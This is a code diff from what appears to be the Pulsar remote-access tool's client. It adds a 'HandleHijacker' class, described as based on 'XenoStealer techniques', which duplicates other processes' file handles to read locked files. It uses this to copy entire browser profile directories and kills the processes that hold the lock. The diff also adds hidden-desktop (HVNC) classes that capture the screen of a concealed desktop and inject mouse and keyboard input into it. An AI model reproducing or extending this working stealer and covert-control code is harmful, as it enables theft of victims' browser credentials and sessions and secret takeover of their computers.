progressBar.Maximum = 100;
progressBar.Value = 100;
lblDetail.Text = wasSuccessful ? "Profile cloned successfully" : "Profile clone failed";
var closeTimer = new Timer
{
Interval = CloseDelayMilliseconds
};
closeTimer.Tick += (sender, args) =>
{
closeTimer.Stop();
closeTimer.Dispose();
onClosed?.Invoke();
if (!IsDisposed)
{
Close();
}
};
closeTimer.Start();
}
private void btnCancel_Click(object sender, EventArgs e)
{
RaiseCancelRequested();
if (!IsDisposed)
{
Close();
}
}
private void CloneProgressForm_FormClosing(object sender, FormClosingEventArgs e)
{
if (_isCompleting)
{
return;
}
if (e.CloseReason == CloseReason.UserClosing || e.CloseReason == CloseReason.TaskManagerClosing)
{
RaiseCancelRequested();
}
}
private void RaiseCancelRequested()
{
if (_cancelRaised)
{
return;
}
_cancelRaised = true;
UserRequestedCancel?.Invoke(this, EventArgs.Empty);
}
}
}
@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+695
View File
@@ -0,0 +1,695 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Linq;
using System.Threading;
using Pulsar.Client.Recovery.Utilities.Xeno;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Advanced file reading using handle hijacking and memory mapping
/// Based on XenoStealer techniques - reads locked files without killing processes
/// </summary>
internal static class HandleHijacker
{
#region Native Structures
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
public IntPtr Object;
public IntPtr UniqueProcessId;
public IntPtr HandleValue;
public uint GrantedAccess;
public ushort CreatorBackTraceIndex;
public ushort ObjectTypeIndex;
public uint HandleAttributes;
public uint Reserved;
}
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_HANDLE_INFORMATION_EX
{
public IntPtr NumberOfHandles;
public IntPtr Reserved;
// Handles follow after this
}
private enum SYSTEM_INFORMATION_CLASS
{
SystemExtendedHandleInformation = 64
}
private enum FileType : uint
{
FILE_TYPE_UNKNOWN = 0x0000,
FILE_TYPE_DISK = 0x0001,
FILE_TYPE_CHAR = 0x0002,
FILE_TYPE_PIPE = 0x0003
}
[StructLayout(LayoutKind.Sequential)]
private struct RM_UNIQUE_PROCESS
{
public uint dwProcessId;
public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct RM_PROCESS_INFO
{
public RM_UNIQUE_PROCESS Process;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
public string strAppName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
public string strServiceShortName;
public uint ApplicationType;
public uint AppStatus;
public uint TSSessionId;
[MarshalAs(UnmanagedType.Bool)]
public bool bRestartable;
}
private enum RM_REBOOT_REASON
{
RmRebootReasonNone = 0x0,
RmRebootReasonPermissionDenied = 0x1,
RmRebootReasonSessionMismatch = 0x2,
RmRebootReasonCriticalProcess = 0x4,
RmRebootReasonCriticalService = 0x8,
RmRebootReasonDetectedSelf = 0x10
}
#endregion
#region Native Methods
[DllImport("ntdll.dll")]
private static extern uint NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
IntPtr SystemInformation,
uint SystemInformationLength,
out uint ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
uint dwDesiredAccess,
bool bInheritHandle,
uint dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern FileType GetFileType(IntPtr hFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern uint GetFinalPathNameByHandleW(
IntPtr hFile,
StringBuilder lpszFilePath,
uint cchFilePath,
uint dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern IntPtr CreateFileMappingA(
IntPtr hFile,
IntPtr lpFileMappingAttributes,
uint flProtect,
uint dwMaximumSizeHigh,
uint dwMaximumSizeLow,
string lpName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr MapViewOfFile(
IntPtr hFileMappingObject,
uint dwDesiredAccess,
uint dwFileOffsetHigh,
uint dwFileOffsetLow,
UIntPtr dwNumberOfBytesToMap);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey);
[DllImport("rstrtmgr.dll")]
private static extern int RmEndSession(uint pSessionHandle);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
private static extern int RmRegisterResources(
uint pSessionHandle,
uint nFiles,
string[] rgsFilenames,
uint nApplications,
RM_UNIQUE_PROCESS[] rgApplications,
uint nServices,
string[] rgsServiceNames);
[DllImport("rstrtmgr.dll")]
private static extern int RmGetList(
uint dwSessionHandle,
out uint pnProcInfoNeeded,
ref uint pnProcInfo,
[In, Out] RM_PROCESS_INFO[] rgAffectedApps,
out RM_REBOOT_REASON lpdwRebootReasons);
#endregion
#region Constants
private const uint PROCESS_DUP_HANDLE = 0x0040;
private const uint DUPLICATE_SAME_ACCESS = 0x00000002;
private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
private const uint PAGE_READONLY = 0x02;
private const uint FILE_MAP_READ = 0x04;
private const uint FILE_NAME_NORMALIZED = 0x0;
private const uint ERROR_MORE_DATA = 0xEA;
#endregion
/// <summary>
/// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles
/// </summary>
private static void SafeCloseHandle(IntPtr handle)
{
if (handle == IntPtr.Zero || handle == new IntPtr(-1))
return;
try
{
CloseHandle(handle);
}
catch
{
// Some handles (like pseudo-handles) throw exceptions when closed
// This is expected and can be safely ignored
}
}
/// <summary>
/// Forces reading a file even if it's locked by another process
/// Uses handle hijacking and memory mapping
/// </summary>
public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false)
{
// First try normal read
try
{
return File.ReadAllBytes(filePath);
}
catch (Exception e)
{
// -2147024864 is the HRESULT for file being used by another process
if (e.HResult != -2147024864)
{
return null;
}
}
Debug.WriteLine($"[HandleHijacker] File locked: {filePath}");
Debug.WriteLine("[HandleHijacker] Attempting handle hijacking...");
bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses);
IntPtr pInfo = IntPtr.Zero;
try
{
uint dwSize = 0;
uint status;
int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
pInfo = Marshal.AllocHGlobal(handleStructSize);
do
{
status = NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation,
pInfo,
dwSize,
out dwSize);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize);
}
} while (status != 0);
IntPtr pInfoBackup = pInfo;
ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo);
pInfo += 2 * IntPtr.Size;
Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles...");
byte[] result = null;
for (ulong i = 0; i < numOfHandles; i++)
{
IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize);
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo =
Marshal.PtrToStructure<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handlePtr);
if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId))
{
continue;
}
// dupe handle
if (DuplicateHandleFromProcess(
(int)handleInfo.UniqueProcessId,
handleInfo.HandleValue,
out IntPtr duppedHandle))
{
try
{
if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK)
{
SafeCloseHandle(duppedHandle);
continue;
}
string handlePath = GetPathFromHandle(duppedHandle);
if (handlePath == null)
{
SafeCloseHandle(duppedHandle);
continue;
}
if (handlePath.StartsWith("\\\\?\\"))
{
handlePath = handlePath.Substring(4);
}
if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase))
{
Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}");
result = ReadFileBytesFromHandle(duppedHandle);
SafeCloseHandle(duppedHandle);
if (result != null)
{
Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes");
break;
}
}
SafeCloseHandle(duppedHandle);
}
catch
{
SafeCloseHandle(duppedHandle);
}
}
}
Marshal.FreeHGlobal(pInfoBackup);
if (result == null && killOwningProcessIfFailed && lockingProcesses != null)
{
Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes...");
foreach (var pid in lockingProcesses)
{
try
{
var proc = Process.GetProcessById(pid);
Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})");
proc.Kill();
}
catch { }
}
System.Threading.Thread.Sleep(100);
try
{
result = File.ReadAllBytes(filePath);
Debug.WriteLine("[HandleHijacker] Successfully read after killing processes");
}
catch { }
}
return result;
}
finally
{
if (pInfo != IntPtr.Zero)
{
try { Marshal.FreeHGlobal(pInfo); } catch { }
}
}
}
/// <summary>
/// Copies a locked file using handle hijacking
/// </summary>
public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false)
{
bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath);
if (hijacked && ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
byte[] fileData = ForceReadFile(sourcePath, killIfFailed);
if (fileData == null)
{
return false;
}
try
{
File.WriteAllBytes(destinationPath, fileData);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}");
return false;
}
if (!ValidateFileCopy(sourcePath, destinationPath))
{
Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'.");
try
{
if (File.Exists(destinationPath))
{
File.Delete(destinationPath);
}
}
catch { }
return false;
}
return true;
}
private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle)
{
targetHandle = IntPtr.Zero;
IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId);
if (procHandle == IntPtr.Zero)
{
return false;
}
IntPtr newHandle = IntPtr.Zero;
bool success = DuplicateHandle(
procHandle,
sourceHandle,
GetCurrentProcess(),
ref newHandle,
0,
false,
DUPLICATE_SAME_ACCESS);
CloseHandle(procHandle);
if (success && newHandle != IntPtr.Zero)
{
targetHandle = newHandle;
return true;
}
return false;
}
private static string GetPathFromHandle(IntPtr fileHandle)
{
StringBuilder fileNameBuilder = new StringBuilder(32767 + 2);
uint pathLen = GetFinalPathNameByHandleW(
fileHandle,
fileNameBuilder,
(uint)fileNameBuilder.Capacity,
FILE_NAME_NORMALIZED);
if (pathLen == 0)
{
return null;
}
return fileNameBuilder.ToString(0, (int)pathLen);
}
private static byte[] ReadFileBytesFromHandle(IntPtr handle)
{
IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
if (fileMapping == IntPtr.Zero)
{
return null;
}
try
{
if (!GetFileSizeEx(handle, out ulong fileSize))
{
return null;
}
if (fileSize == 0)
{
return new byte[0];
}
IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize);
if (baseAddress == IntPtr.Zero)
{
return null;
}
try
{
byte[] fileData = new byte[fileSize];
Marshal.Copy(baseAddress, fileData, 0, (int)fileSize);
return fileData;
}
finally
{
UnmapViewOfFile(baseAddress);
}
}
finally
{
CloseHandle(fileMapping);
}
}
private static bool GetProcessesLockingFile(string filePath, out int[] processes)
{
processes = null;
string sessionKey = Guid.NewGuid().ToString();
if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0)
{
return false;
}
try
{
string[] resources = new string[] { filePath };
if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0)
{
return false;
}
uint nProcInfo = 0;
int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _);
if (status != ERROR_MORE_DATA)
{
processes = new int[0];
return true;
}
RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded];
nProcInfo = nProcInfoNeeded;
status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _);
if (status == 0)
{
processes = new int[affectedApps.Length];
for (int i = 0; i < affectedApps.Length; i++)
{
processes[i] = (int)affectedApps[i].Process.dwProcessId;
}
return true;
}
return false;
}
finally
{
RmEndSession(sessionHandle);
}
}
/// <summary>
/// Copies an entire directory using handle hijacking for locked files
/// </summary>
public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress<BrowserCloneProgress> progress = null, CancellationToken cancellationToken = default)
{
try
{
if (!Directory.Exists(sourceDir))
{
return false;
}
Directory.CreateDirectory(destDir);
var directories = new List<string>();
foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
directories.Add(directory);
}
foreach (string directory in directories)
{
cancellationToken.ThrowIfCancellationRequested();
string relativeDir = directory.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string targetDir = string.IsNullOrEmpty(relativeDir)
? destDir
: Path.Combine(destDir, relativeDir);
Directory.CreateDirectory(targetDir);
}
var files = new List<string>();
foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
files.Add(file);
}
int totalFiles = files.Count;
int processed = 0;
bool allFilesCopied = true;
progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0));
foreach (string file in files)
{
cancellationToken.ThrowIfCancellationRequested();
string relativePath = file.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string destFile = Path.Combine(destDir, relativePath);
string destFileDirectory = Path.GetDirectoryName(destFile);
if (!string.IsNullOrEmpty(destFileDirectory))
{
Directory.CreateDirectory(destFileDirectory);
}
bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed);
if (!copied)
{
Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'.");
allFilesCopied = false;
}
processed++;
progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath));
}
progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty));
return allFilesCopied;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}");
return false;
}
}
private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed)
{
try
{
File.Copy(sourcePath, destinationPath, true);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}");
}
if (ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed))
{
return false;
}
return ValidateFileCopy(sourcePath, destinationPath);
}
private static bool ValidateFileCopy(string sourcePath, string destinationPath)
{
try
{
if (!File.Exists(sourcePath) || !File.Exists(destinationPath))
{
return false;
}
var sourceInfo = new FileInfo(sourcePath);
var destInfo = new FileInfo(destinationPath);
if (sourceInfo.Length != destInfo.Length)
{
return false;
}
MirrorFileMetadata(sourceInfo, destInfo);
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}");
return false;
}
}
private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo)
{
try
{
File.SetAttributes(destInfo.FullName, sourceInfo.Attributes);
}
catch { }
try
{
File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc);
File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc);
File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc);
}
catch { }
}
}
}
+268
View File
@@ -0,0 +1,268 @@
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal class ImageHandler
{
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
[DllImport("user32.dll")]
private static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
public ImageHandler(string DesktopName)
{
IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U);
if (intPtr == IntPtr.Zero)
{
intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero);
}
this.Desktop = intPtr;
}
private static float GetScalingFactor()
{
float result;
using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero))
{
IntPtr hdc = graphics.GetHdc();
int deviceCaps = GetDeviceCaps(hdc, 10);
result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps;
graphics.ReleaseHdc(hdc);
}
return result;
}
private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
bool result = false;
RECT rect;
GetWindowRect(hWnd, out rect);
// Only draw if window is within the capture area
if (rect.Right < captureArea.Left || rect.Left > captureArea.Right ||
rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(DC);
IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor));
SelectObject(intPtr, intPtr2);
uint nFlags = 2U;
if (PrintWindow(hWnd, intPtr, nFlags))
{
try
{
Bitmap bitmap = Image.FromHbitmap(intPtr2);
// Adjust draw position relative to capture area
ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top));
bitmap.Dispose();
result = true;
}
catch
{
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
return result;
}
private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
IntPtr intPtr = GetTopWindow(owner);
if (intPtr == IntPtr.Zero)
{
return;
}
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST);
if (intPtr == IntPtr.Zero)
{
return;
}
while (intPtr != IntPtr.Zero)
{
this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea);
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV);
}
}
private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
if (IsWindowVisible(hWnd))
{
this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
if (Environment.OSVersion.Version.Major < 6)
{
this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
}
}
}
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
/// <summary>
/// Gets the total number of monitors available.
/// </summary>
/// <returns>The number of monitors.</returns>
public static int GetMonitorCount()
{
return Screen.AllScreens.Length;
}
/// <summary>
/// Captures the screenshot of the entire desktop (all monitors).
/// </summary>
public Bitmap Screenshot()
{
return Screenshot(-1); // -1 means capture all monitors
}
/// <summary>
/// Captures the screenshot of a specific monitor.
/// </summary>
/// <param name="monitorIndex">The index of the monitor to capture. Use -1 to capture all monitors.</param>
public Bitmap Screenshot(int monitorIndex)
{
SetThreadDesktop(this.Desktop);
IntPtr dc = GetDC(IntPtr.Zero);
Rectangle captureArea;
if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length)
{
// Capture specific monitor
captureArea = Screen.AllScreens[monitorIndex].Bounds;
}
else
{
// Capture all monitors (entire desktop)
RECT rect;
GetWindowRect(GetDesktopWindow(), out rect);
captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top);
}
float scalingFactor = GetScalingFactor();
int scaledWidth = (int)((float)captureArea.Width * scalingFactor);
int scaledHeight = (int)((float)captureArea.Height * scalingFactor);
Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight);
try
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea);
}
}
finally
{
ReleaseDC(IntPtr.Zero, dc);
}
return bitmap;
}
public IntPtr Desktop = IntPtr.Zero;
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private enum GetWindowType : uint
{
GW_HWNDFIRST,
GW_HWNDLAST,
GW_HWNDNEXT,
GW_HWNDPREV,
GW_OWNER,
GW_CHILD,
GW_ENABLEDPOPUP
}
private enum DeviceCap
{
VERTRES = 10,
DESKTOPVERTRES = 117
}
}
}
+749
View File
@@ -0,0 +1,749 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Handles input for the Hidden Virtual Network Computing (HVNC) feature.
/// </summary>
public class InputHandler : IDisposable
{
#region Win32 API Imports
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
private static extern IntPtr WindowFromPoint(POINT point);
[DllImport("user32.dll")]
private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
[DllImport("user32.dll")]
private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
private static extern bool PtInRect(ref RECT lprc, POINT pt);
[DllImport("user32.dll")]
private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
[DllImport("user32.dll")]
private static extern int GetWindowLong(IntPtr hWnd, int nIndex);
[DllImport("user32.dll")]
private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
[DllImport("user32.dll")]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
[DllImport("user32.dll")]
private static extern int GetMenuItemID(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
[DllImport("user32.dll")]
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
[DllImport("user32.dll")]
private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool IsWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
[DllImport("user32.dll")]
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
[DllImport("user32.dll")]
private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
private static extern short GetKeyState(int nVirtKey);
[DllImport("user32.dll")]
private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
int cchBuff, uint wFlags);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] lpKeyState);
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
#endregion
#region Constants
// Window style constants
private const int GWL_STYLE = -16;
private const int WS_DISABLED = 0x8000000;
// Window message constants
private const int WM_CHAR = 0x0102;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private const int WM_LBUTTONUP = 0x0202;
private const int WM_LBUTTONDOWN = 0x0201;
private const int WM_MOUSEMOVE = 0x0200;
private const int WM_CLOSE = 0x0010;
private const int WM_SYSCOMMAND = 0x0112;
private const int WM_NCHITTEST = 0x0084;
private const int WM_RBUTTONUP = 0x0205;
private const int WM_RBUTTONDOWN = 0x0204;
private const int WM_DESTROY = 0x0002;
// Mouse button constants
private const int MK_LBUTTON = 0x0001;
private const int MK_RBUTTON = 0x0002;
// System command constants
private const int SC_MINIMIZE = 0xF020;
private const int SC_RESTORE = 0xF120;
private const int SC_MAXIMIZE = 0xF030;
// Hit test area constants
private const int HTCAPTION = 2;
private const int HTTOP = 12;
private const int HTBOTTOM = 15;
private const int HTLEFT = 10;
private const int HTRIGHT = 11;
private const int HTTOPLEFT = 13;
private const int HTTOPRIGHT = 14;
private const int HTBOTTOMLEFT = 16;
private const int HTBOTTOMRIGHT = 17;
private const int HTCLOSE = 20;
private const int HTMINBUTTON = 8;
private const int HTMAXBUTTON = 9;
private const int HTTRANSPARENT = -1;
